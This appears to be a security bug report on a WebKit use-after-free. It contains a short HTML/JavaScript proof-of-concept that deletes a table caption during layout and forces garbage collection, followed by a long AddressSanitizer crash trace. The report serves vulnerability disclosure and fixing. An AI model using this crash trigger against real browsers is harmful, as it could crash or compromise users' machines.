There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.3 on Mac.
PoC:
```
<style>
* { -webkit-border-image: url(#foo) 1 5 1 63 repeat; -webkit-flow-into: foo }
</style>
<script>
function eventhandler() {
var a;
document.execCommand("selectAll", false);
output.slot = "foo";
table.deleteCaption();
//trigger garbage collector
for(var i=0;i<100;i++) {
a = new Uint8Array(1024*1024);
}
}
</script>
<table id="table">
<caption>
<summary>
<output id="output">
<table>
<th>foo</th>
</table>
</table>
<iframe onload="eventhandler()"></iframe>
```
ASan log:
```
==1460==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00009d4a0 at pc 0x0001136e25ab bp 0x7fff53da1c30 sp 0x7fff53da1c28
READ of size 8 at 0x60c00009d4a0 thread T0
#0 0x1136e25aa in WebCore::Node::treeScope() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa)
#1 0x1136e2568 in WebCore::Node::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x4568)
#2 0x1136e1b18 in WebCore::RenderObject::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3b18)
#3 0x11372ca48 in WebCore::RenderObject::view() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x4ea48)
#4 0x115a56771 in WebCore::RenderTable::markForPaginationRelayoutIfNeeded() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2378771)
#5 0x11571a1e2 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x203c1e2)
#6 0x115716802 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2038802)
#7 0x115714b5a in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2036b5a)
#8 0x1156d3e24 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ff5e24)
#9 0x1158165e1 in WebCore::RenderFlowThread::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21385e1)
#10 0x11596beed in WebCore::RenderNamedFlowThread::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x228deed)
#11 0x1140766d7 in WebCore::FlowThreadController::layoutRenderNamedFlowThreads() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9986d7)
#12 0x115adaabb in WebCore::RenderView::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x23fcabb)
#13 0x11417e90f in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa090f)
#14 0x113dd3a57 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6f5a57)
#15 0x115ad9bd1 in WebCore::RenderView::hitTest(WebCore::HitTestRequest const&, WebCore::HitTestLocation const&, WebCore::HitTestResult&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x23fbbd1)
#16 0x113de387e in WebCore::Document::prepareMouseEvent(WebCore::HitTestRequest const&, WebCore::LayoutPoint const&, WebCore::PlatformMouseEvent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x70587e)
#17 0x113fa8dca in WebCore::EventHandler::prepareMouseEvent(WebCore::HitTestRequest const&, WebCore::PlatformMouseEvent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8cadca)
#18 0x113fa95ac in WebCore::EventHandler::handleMouseMoveEvent(WebCore::PlatformMouseEvent const&, WebCore::HitTestResult*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8cb5ac)
#19 0x113fa9052 in WebCore::EventHandler::mouseMoved(WebCore::PlatformMouseEvent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8cb052)
#20 0x11620a7ef in WebCore::UserInputBridge::handleMouseMoveEvent(WebCore::PlatformMouseEvent const&, WebCore::InputSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2b2c7ef)
#21 0x10c5163b2 in WebKit::handleMouseEvent(WebKit::WebMouseEvent const&, WebKit::WebPage*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6a73b2)
#22 0x10c515e37 in WebKit::WebPage::mouseEvent(WebKit::WebMouseEvent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6a6e37)
#23 0x10c57af17 in void IPC::handleMessage<Messages::WebPage::MouseEvent, WebKit::WebPage, void (WebKit::WebPage::*)(WebKit::WebMouseEvent const&)>(IPC::Decoder&, WebKit::WebPage*, void (WebKit::WebPage::*)(WebKit::WebMouseEvent const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x70bf17)
#24 0x10c56f4bc in WebKit::WebPage::didReceiveWebPageMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x7004bc)
#25 0x10c524ac1 in WebKit::WebPage::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6b5ac1)
#26 0x10c031a3b in IPC::MessageReceiverMap::dispatchMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x1c2a3b)
#27 0x10c6aaff4 in WebKit::WebProcess::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x83bff4)
#28 0x10bf1e448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
#29 0x10bf27614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
#30 0x111406a04 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6a04)
#31 0x111408f1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e)
#32 0x7fff93c2b7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
#33 0x7fff93c0af1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
#34 0x7fff93c0a43e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
#35 0x7fff93c09e37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
#36 0x7fff91e23934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
#37 0x7fff91e2376e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
#38 0x7fff91e235ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
#39 0x7fff880b1df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
#40 0x7fff880b1225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
#41 0x7fff880a5d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
#42 0x7fff8806f367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
#43 0x7fff8d65e193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
#44 0x7fff8d65cbbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
#45 0x10be58b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
#46 0x7fff9716d5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)
0x60c00009d4a0 is located 32 bytes inside of 120-byte region [0x60c00009d480,0x60c00009d4f8)
freed by thread T0 here:
#0 0x10e428cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
#1 0x11145136f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190136f)
#2 0x113a86653 in WebCore::removeDetachedChildrenInContainer(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a8653)
#3 0x113a73752 in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x395752)
#4 0x1143df19d in WebCore::HTMLTableCaptionElement::~HTMLTableCaptionElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd0119d)
#5 0x110d42ee7 in JSC::JSCell::callDestructor(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x11f2ee7)
#6 0x110e4523a in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1>()::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f523a)
#7 0x110e44f1e in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1>() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f4f1e)
#8 0x110e44892 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectMarksMode<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1>() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f4892)
#9 0x110e43212 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectSweepMode<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f3212)
#10 0x110e40823 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectHasNewlyAllocated<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f0823)
#11 0x110e3b130 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectEmptyMode<(JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12eb130)
#12 0x110e28f80 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectScribbleMode<(JSC::MarkedBlock::Handle::SweepDestructionMode)1>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d8f80)
#13 0x110e28dfc in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d8dfc)
#14 0x110e24c54 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d4c54)
#15 0x110e246a8 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d46a8)
#16 0x110e2550e in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d550e)
#17 0x11094538a in void* JSC::allocateCell<JSC::InferredValue>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xdf538a)
#18 0x110944962 in JSC::InferredValue::create(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xdf4962)
#19 0x1111e3020 in JSC::SymbolTable::finishCreation(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1693020)
#20 0x1139b8b4a in JSC::SymbolTable::create(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2dab4a)
#21 0x1139b8719 in JSC::JSSegmentedVariableObject::finishCreation(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2da719)
#22 0x1148d82bc in JSC::JSGlobalObject::finishCreation(JSC::VM&, JSC::JSObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11fa2bc)
#23 0x1148d8281 in WebCore::JSDOMGlobalObject::finishCreation(JSC::VM&, JSC::JSObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11fa281)
#24 0x114a23db5 in WebCore::JSDOMWindowBase::finishCreation(JSC::VM&, WebCore::JSDOMWindowShell*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1345db5)
#25 0x114944bdc in WebCore::JSDOMWindow::finishCreation(JSC::VM&, WebCore::JSDOMWindowShell*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1266bdc)
#26 0x114a2f56b in WebCore::JSDOMWindow::create(JSC::VM&, JSC::Structure*, WTF::Ref<WebCore::DOMWindow>&&, WebCore::JSDOMWindowShell*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x135156b)
#27 0x114a2ee7e in WebCore::JSDOMWindowShell::setWindow(WTF::RefPtr<WebCore::DOMWindow>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1350e7e)
#28 0x115bb4503 in WebCore::JSDOMWindowShell::create(JSC::VM&, WTF::RefPtr<WebCore::DOMWindow>&&, JSC::Structure*, WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24d6503)
#29 0x115bb41b0 in WebCore::ScriptController::createWindowShell(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24d61b0)
previously allocated by thread T0 here:
#0 0x10e428790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
#1 0x7fff8b1325a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
#2 0x11145adb4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4)
#3 0x11145012b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b)
#4 0x1113e7995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995)
#5 0x1143e0e3d in WebCore::HTMLTableElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd02e3d)
#6 0x11430d631 in WebCore::tableConstructor(WebCore::QualifiedName const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2f631)
#7 0x114308373 in WebCore::HTMLElementFactory::createKnownElement(WTF::AtomicString const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2a373)
#8 0x1142c5ea6 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe7ea6)
#9 0x1142c51a5 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe71a5)
#10 0x1142c58e6 in WebCore::HTMLConstructionSite::insertHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe78e6)
#11 0x1144224b3 in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd444b3)
#12 0x11441f4d6 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd414d6)
#13 0x11441d67e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd3f67e)
#14 0x1142f2d48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48)
#15 0x1142f2902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902)
#16 0x1142f1b94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94)
#17 0x1142f358d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d)
#18 0x113d60661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661)
#19 0x113e8c1f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8)
#20 0x113e5086f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
#21 0x113930fb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
#22 0x11392bb69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
#23 0x115edc7e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
#24 0x10c74d615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
#25 0x10c74cc2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
#26 0x10c0fb1f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
#27 0x10bf1e448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
#28 0x10bf27614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
#29 0x111406a04 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6a04)
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa) in WebCore::Node::treeScope() const
Shadow bytes around the buggy address:
0x1c1800013a40: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x1c1800013a50: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
0x1c1800013a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c1800013a70: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x1c1800013a80: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
=>0x1c1800013a90: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fa
0x1c1800013aa0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x1c1800013ab0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x1c1800013ac0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x1c1800013ad0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x1c1800013ae0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1460==ABORTING
```
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